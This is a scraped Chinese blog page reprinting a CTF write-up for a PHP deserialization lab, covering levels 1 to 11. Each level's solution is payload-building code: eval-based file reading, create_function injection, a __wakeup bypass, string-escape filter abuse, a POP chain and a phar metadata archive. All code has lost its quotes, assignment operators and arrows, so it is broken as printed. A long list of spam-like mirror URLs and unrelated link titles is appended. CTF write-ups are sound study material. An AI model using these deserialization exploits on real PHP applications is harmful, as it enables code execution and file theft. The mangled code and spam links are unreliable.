当前位置: 首页 > news >正文

网站怎么分类我想帮别人做网站有这样的平台吗

网站怎么分类,我想帮别人做网站有这样的平台吗,怎么免费建网站,怎么做网页才能此次靶场为utools-php-unserialize-main。适合有一定基础的师傅#xff0c;内容是比较全面的#xff0c;含有我们的大部分ctf中PHP反序列化的题型。 level1#xff1a; ?php highlight_file(__FILE__); class a{var $act;function action(){eval($this-act);} } …此次靶场为utools-php-unserialize-main。适合有一定基础的师傅内容是比较全面的含有我们的大部分ctf中PHP反序列化的题型。 level1 ?php highlight_file(__FILE__); class a{var $act;function action(){eval($this-act);} } $aunserialize($_GET[flag]); $a-action(); ? 很简单的一个PHP代码很明显的看到命令执行点是eval调用act。 直接给出构造 ?php highlight_file(__FILE__); class a{var $act;function action(){eval($this-act);} } $aunserialize($_GET[flag]); $a-action(); $bnew a(); $b-actshow_source(flag.php);; echo serialize($b); ? 得出flagflag{level1_is_over_come_0n}。 level2 ?php highlight_file(__FILE__); include(flag.php); class mylogin{var $user;var $pass;function __construct($user,$pass){$this-user$user;$this-pass$pass;}function login(){if ($this-userdaydream and $this-passok){return 1;}} } $aunserialize($_GET[param]); if($a-login()) {echo $flag; } ? 代码分析 很明显只要能调用login函数我们就能输出flag而实例化之后只要能使 if ($this-userdaydream and $this-passok) 成立就能够调用我们的login()函数。 ?php highlight_file(__FILE__); include(flag.php); class mylogin{var $user;var $pass; } $anew mylogin(); $a-passok; $a-userdaydream; echo serialize($a); ? 得到flag:flag{level2_is_0k_here_you_g0}. level3 ?php highlight_file(__FILE__); include(flag.php); class mylogin{var $user;var $pass;function __construct($user,$pass){$this-user$user;$this-pass$pass;}function login(){if ($this-userdaydream and $this-passok){return 1;}} } $aunserialize($_COOKIE[param]); if($a-login()) {echo $flag; } ? 和上面的一模一样的思路但是只要对param参数进行url编码即可。 ?php highlight_file(__FILE__); class mylogin{var $user;var $pass; } $anew mylogin(daydream,ok); echo urlencode(serialize($a)); ? 得到flagflag{level3_is_s0_easy_right?} level4 ?php highlight_file(__FILE__); class func {public $key;public function __destruct(){ unserialize($this-key)();} }class GetFlag { public $code;public $action;public function get_flag(){$a$this-action;$a(, $this-code);} }unserialize($_GET[param]);? 想要我们的flag必须要自己构造我们的执行函数。 ?php highlight_file(__FILE__); class func {public $key; }class GetFlag {public $code;public $action; } $a1new func(); $bnew GetFlag(); $b-code}include(flag.php);echo $flag;//; $b-actioncreate_function; $a1-keyserialize(array($b,get_flag)); echo serialize($a1); 在这里我们传入我们的create_function函数创建一个匿名函数并且写入我们的$code赋予的执行语句。 结果就是会执行我们的PHP指令将flag文件包含进来并且输出flagflag{NI_T_level4_easy_ge_pi} level5 ?phpclass secret{var $fileindex.php;public function __construct($file){$this-file$file;}function __destruct(){include_once($this-file);//include_once()函数引入并执行指定的 PHP 文件echo $flag;}function __wakeup(){$this-fileindex.php;}}$cmd$_GET[cmd];if (!isset($cmd)){echo show_source(index.php,true);}else{if (preg_match(/[oc]:\d:/i,$cmd)){//匹配一个或多个数字以及字母o或cecho Are you daydreaming?;}else{unserialize($cmd);}}//sercet in flag.php ? 绕过wakeup()函数然后进行编码绕过正则即可得到flag。 ?php class secret{var $file; } $panew secret(); $pa-fileflag.php; echo serialize($pa),\n;//O:6:secret:1:{s:4:file;s:8:flag.php;} $cmdurlencode(O:6:secret:2:{s:4:file;s:8:flag.php;}); echo $cmd; ? level6 ?php highlight_file(__FILE__); class secret{private $comm;public function __construct($com){$this-comm $com;}function __destruct(){echo eval($this-comm);} } $param$_GET[param]; $paramstr_replace(%,daydream,$param);//会将payload中的%替换为daydream unserialize($param); ? 也非常的简单我们只需要执行eval的指令即可。关于str_replace()我们只要没有%不就绕过了吗。 ?php highlight_file(__FILE__); class secret {public $comm; } $panew secret(); $pa-commshow_source(flag.php);; echo serialize($pa); 得到flagflag{level6_Is_yue_lai_yue_fu_yan} level7 ?php highlight_file(__FILE__); class you {private $body;private $pro;function __destruct(){$project$this-pro;$this-body-$project();} }class my {public $name;function __call($func, $args)//调用无法访问的方法时自动执行 {if ($func yourname and $this-name myname) {include(flag.php);echo $flag;}} } $a$_GET[a]; unserialize($a); ? 也比较简单我们只需要触发我们的call函数并且达成条件即可得到flag。 ?php class you {public $body;public $pro;function __destruct(){$project$this-pro;$this-body-$project();} }class my {public $name;function __call($func, $args){} } $pnew you(); $p-bodynew my(); $p-proyourname; $p-body-namemyname; echo urlencode(serialize($p)); 最好是进行一次编码后再进行上传。得到flagflag{level7_running_with_progress} level8 ?php highlight_file(__FILE__); function filter($name){$safearray(flag,php);$namestr_replace($safe,hack,$name);return $name; } class test{var $user;var $passdaydream;function __construct($user){$this-user$user;} }$param$_GET[param]; $profileunserialize(filter($param)); if ($profile-passescaping){echo file_get_contents(flag.php); } ? 一道简单的字符串逃逸根据它本来就定义的内容$namestr_replace($safe,hack,$name);$safearray(flag,php); 我们可以知道会将$name参数里面的所有的flag或者php全部替换为hack。 关键点来了如果我们hack替换的是php那么我们是不是就多出一个字符内容了。 根据PHP的特性反序列化以;}结束后面的字符串不影响正常的反序列化。所以在这个题目中我们只需要利用替换后的内容会多一个字符就可以在序列上挤掉原序列再加入我们构造的序列来执行恶意代码。 ?php function filter($name){$safearray(flag,php);$namestr_replace($safe,hack,$name);return $name; } class test{var $user;var $passdaydream; } $anew test(); $a-userphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp;s:4:pass;s:8:escaping;}; echo serialize($a); 在这里我们先计算好原序列化字符 再构造我们自己的序列化内容但是要确保它逃逸 也就是替换后多出来的字符与原字符一致。 得到flag$flagflag{level8_g0_fun_popp1ng}; level9 ?php //flag is in flag.php highlight_file(__FILE__); class Modifier {private $var;public function append($value){include($value);echo $flag;}//$value赋值为flag.phppublic function __invoke(){//将对象当成函数的时候自动调用$this-append($this-var);} } class Show{public $source;public $str;public function __toString(){return $this-str-source;}public function __wakeup(){echo $this-source;} } class Test{public $p;public function __construct(){$this-p array();}public function __get($key){//获取无法访问的属性自动调用$function $this-p;return $function();} } if(isset($_GET[pop])){unserialize($_GET[pop]); } ? 构造pop链 很明显我们的输出点位在Modifier里先将var赋值为flag.php。 观察代码我们可以利用wakeup()函数内的语句触发我们的toString()然后toString()触发construct()construct()会触发get($key)。利用get($key)触发我们的invoke()然后我们的invoke()就会调用append($value)执行输出flag的行为。 ?phpclass Modifier {private $varflag.php;public function append($value){include($value);echo $flag;}public function __invoke(){$this-append($this-var);} }class Show{public $source;public $str;public function __toString(){return $this-str-source;}public function __wakeup(){echo $this-source;} }class Test{public $p;public function __construct(){$this-p array();}public function __get($key){$function $this-p;return $function();} }$anew Show(); $a-sourcenew Show(); $a-source-strnew Test(); $a-source-str-pnew Modifier(); echo serialize($a).\n; echo urlencode(serialize($a)).\n; 得到我们的flagflag{welcom_t0_SOAP_In_level9} level11 ?php highlight_file(__FILE__); class TestObject {public function __destruct() {include(flag.php);echo $flag;} } $filename $_POST[file]; if (isset($filename)){echo md5_file($filename); } //upload.php ? 很明显是phar反序列化 class TestObject { }unlink(level11.phar); $phar new Phar(level11.phar); $phar-startBuffering(); $phar-setStub(GIF89a.?php __HALT_COMPILER(); ?); $a new TestObject(); $phar-setMetadata($a); $phar-addFromString(test.txt, test); $phar-stopBuffering(); ? 在upload目录上传文件利用phar://读取上传文件目录得到flagflag{Can_level11_s_Phar_be_s0_easy?}
文章转载自:
http://www.morning.wcyr.cn.gov.cn.wcyr.cn
http://www.morning.qwwhs.cn.gov.cn.qwwhs.cn
http://www.morning.kyfnh.cn.gov.cn.kyfnh.cn
http://www.morning.tbjb.cn.gov.cn.tbjb.cn
http://www.morning.nhrkl.cn.gov.cn.nhrkl.cn
http://www.morning.xnzmc.cn.gov.cn.xnzmc.cn
http://www.morning.bbtn.cn.gov.cn.bbtn.cn
http://www.morning.rxnxl.cn.gov.cn.rxnxl.cn
http://www.morning.qcmhs.cn.gov.cn.qcmhs.cn
http://www.morning.ebpz.cn.gov.cn.ebpz.cn
http://www.morning.lmyq.cn.gov.cn.lmyq.cn
http://www.morning.drgmr.cn.gov.cn.drgmr.cn
http://www.morning.rlfr.cn.gov.cn.rlfr.cn
http://www.morning.tpchy.cn.gov.cn.tpchy.cn
http://www.morning.ppwdh.cn.gov.cn.ppwdh.cn
http://www.morning.qhqgk.cn.gov.cn.qhqgk.cn
http://www.morning.gyrdn.cn.gov.cn.gyrdn.cn
http://www.morning.qghjc.cn.gov.cn.qghjc.cn
http://www.morning.mgkb.cn.gov.cn.mgkb.cn
http://www.morning.yfcyh.cn.gov.cn.yfcyh.cn
http://www.morning.nqmhf.cn.gov.cn.nqmhf.cn
http://www.morning.lfpdc.cn.gov.cn.lfpdc.cn
http://www.morning.jwgnn.cn.gov.cn.jwgnn.cn
http://www.morning.fbpdp.cn.gov.cn.fbpdp.cn
http://www.morning.nchlk.cn.gov.cn.nchlk.cn
http://www.morning.jqkrt.cn.gov.cn.jqkrt.cn
http://www.morning.cprbp.cn.gov.cn.cprbp.cn
http://www.morning.cwkcq.cn.gov.cn.cwkcq.cn
http://www.morning.lsnbx.cn.gov.cn.lsnbx.cn
http://www.morning.lkrmp.cn.gov.cn.lkrmp.cn
http://www.morning.kynf.cn.gov.cn.kynf.cn
http://www.morning.qbtj.cn.gov.cn.qbtj.cn
http://www.morning.trwkz.cn.gov.cn.trwkz.cn
http://www.morning.rdymd.cn.gov.cn.rdymd.cn
http://www.morning.gqddl.cn.gov.cn.gqddl.cn
http://www.morning.nsncq.cn.gov.cn.nsncq.cn
http://www.morning.tpbhf.cn.gov.cn.tpbhf.cn
http://www.morning.lkwyr.cn.gov.cn.lkwyr.cn
http://www.morning.lqklf.cn.gov.cn.lqklf.cn
http://www.morning.hmdyl.cn.gov.cn.hmdyl.cn
http://www.morning.hqgxz.cn.gov.cn.hqgxz.cn
http://www.morning.drzkk.cn.gov.cn.drzkk.cn
http://www.morning.skmzm.cn.gov.cn.skmzm.cn
http://www.morning.mdjzydr.com.gov.cn.mdjzydr.com
http://www.morning.tqygx.cn.gov.cn.tqygx.cn
http://www.morning.gjmll.cn.gov.cn.gjmll.cn
http://www.morning.smmby.cn.gov.cn.smmby.cn
http://www.morning.qlkjh.cn.gov.cn.qlkjh.cn
http://www.morning.fkmqg.cn.gov.cn.fkmqg.cn
http://www.morning.dpjtn.cn.gov.cn.dpjtn.cn
http://www.morning.dycbp.cn.gov.cn.dycbp.cn
http://www.morning.ckfqt.cn.gov.cn.ckfqt.cn
http://www.morning.dxhnm.cn.gov.cn.dxhnm.cn
http://www.morning.kszkm.cn.gov.cn.kszkm.cn
http://www.morning.sskkf.cn.gov.cn.sskkf.cn
http://www.morning.sdhmn.cn.gov.cn.sdhmn.cn
http://www.morning.rwyd.cn.gov.cn.rwyd.cn
http://www.morning.wfbs.cn.gov.cn.wfbs.cn
http://www.morning.gjlxn.cn.gov.cn.gjlxn.cn
http://www.morning.nrqnj.cn.gov.cn.nrqnj.cn
http://www.morning.ssjtr.cn.gov.cn.ssjtr.cn
http://www.morning.htsrm.cn.gov.cn.htsrm.cn
http://www.morning.rfhm.cn.gov.cn.rfhm.cn
http://www.morning.kqpsj.cn.gov.cn.kqpsj.cn
http://www.morning.rnqrl.cn.gov.cn.rnqrl.cn
http://www.morning.zzaxr.cn.gov.cn.zzaxr.cn
http://www.morning.pqypt.cn.gov.cn.pqypt.cn
http://www.morning.ntcmrn.cn.gov.cn.ntcmrn.cn
http://www.morning.gfqjf.cn.gov.cn.gfqjf.cn
http://www.morning.fydsr.cn.gov.cn.fydsr.cn
http://www.morning.zxwqt.cn.gov.cn.zxwqt.cn
http://www.morning.glcgy.cn.gov.cn.glcgy.cn
http://www.morning.jbshh.cn.gov.cn.jbshh.cn
http://www.morning.btjyp.cn.gov.cn.btjyp.cn
http://www.morning.lwwnq.cn.gov.cn.lwwnq.cn
http://www.morning.tslxr.cn.gov.cn.tslxr.cn
http://www.morning.sgcdr.com.gov.cn.sgcdr.com
http://www.morning.pbknh.cn.gov.cn.pbknh.cn
http://www.morning.mxnhq.cn.gov.cn.mxnhq.cn
http://www.morning.pflpb.cn.gov.cn.pflpb.cn
http://www.tj-hxxt.cn/news/245016.html

相关文章:

  • 公司的网站迁安网站建设
  • 惠州网站seo网站素材图
  • 经营网站的备案最新seo教程
  • 网站开发编程的工作方法国内全屋定制十大名牌
  • ui做的好的网站有哪些内容国外搜索引擎
  • 动漫网站建站手机网站开发还是调用
  • 高淳建设发展集团网站商丘市建设
  • 虚拟币交易网站建设郑州建网站十大
  • 郑州华恩科技做网站怎么样昆山网络推广公司
  • 建立网站需要花多少费用建一个网站式系统
  • 网络代运营推广windows优化大师卸载不了
  • 网站建设一般的长宽黑龙江 建设监理协会网站
  • 网站建设 深圳信科公司做的网站打不开了
  • asp.net实用网站开发章丘哪里做网站
  • 网站开发课表查询网站创意的技术
  • 摄影网站大全自己网站建设要维护
  • 南阳建网站企业大型购物网站设计
  • 江苏建站系统南通网站开发招聘
  • 怎做不下网站刷枪福建省建设厅官方网站
  • 手机网站前端写法深圳建设企业网站
  • 做不做生意都要知道的网站网络销售是什么工作内容
  • 网站收录申请装修房子图片三室一厅效果图
  • 建设网站实训报告Wordpress使用ldap
  • 推广型网站宁波专门做网站
  • 泗洪有做网站峨眉山移动网站建设
  • 网站素材免费网页设计作品集
  • 网站建设评语外包公司企业网站
  • 建一个网站流程网易企业邮箱超大附件
  • 自己做网站 怎么解决安全问题学网站开发的软件有哪些
  • asp网站乱码外国设计师素材网站